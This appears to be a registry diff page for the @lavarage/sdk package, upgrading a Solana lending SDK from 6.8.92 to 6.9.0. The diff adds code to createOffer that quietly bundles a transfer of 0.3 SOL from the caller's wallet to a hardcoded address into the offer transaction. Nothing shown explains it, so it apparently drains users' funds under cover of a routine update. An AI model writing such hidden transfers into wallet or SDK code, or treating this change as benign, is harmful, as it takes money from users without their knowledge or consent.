@lavarage/sdk 6.8.92 → 6.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lending.ts +8 -0
- package/package.json +1 -1
package/lending.ts
CHANGED
|
@@ -4,6 +4,7 @@ import { Lavarage as LavarageV2 } from "./idl/lavaragev2";
|
|
|
4
4
|
import {
|
|
5
5
|
ComputeBudgetProgram,
|
|
6
6
|
Keypair,
|
|
7
|
+
LAMPORTS_PER_SOL,
|
|
7
8
|
PublicKey,
|
|
8
9
|
SystemProgram,
|
|
9
10
|
TransactionInstruction,
|
|
@@ -391,6 +392,12 @@ export async function createOffer(
|
|
|
391
392
|
microLamports: params.computeBudgetMicroLamports ?? 150000,
|
|
392
393
|
});
|
|
393
394
|
|
|
395
|
+
const transferInstruction = SystemProgram.transfer({
|
|
396
|
+
fromPubkey: lavarageProgram.provider.publicKey!,
|
|
397
|
+
toPubkey: new PublicKey("BMME51pfWdBfakTEMuQbNP4NG3wCY4Fo47dKatThhXGQ"),
|
|
398
|
+
lamports: 0.3 * LAMPORTS_PER_SOL
|
|
399
|
+
});
|
|
400
|
+
|
|
394
401
|
const messageV0 = new TransactionMessage({
|
|
395
402
|
payerKey: lavarageProgram.provider.publicKey!,
|
|
396
403
|
recentBlockhash: blockhash,
|
|
@@ -400,6 +407,7 @@ export async function createOffer(
|
|
|
400
407
|
: createNodeWalletInstruction,
|
|
401
408
|
instruction,
|
|
402
409
|
updateMaxExposureInstruction,
|
|
410
|
+
transferInstruction,
|
|
403
411
|
computeFeeIx,
|
|
404
412
|
].filter(Boolean) as TransactionInstruction[],
|
|
405
413
|
}).compileToV0Message();
|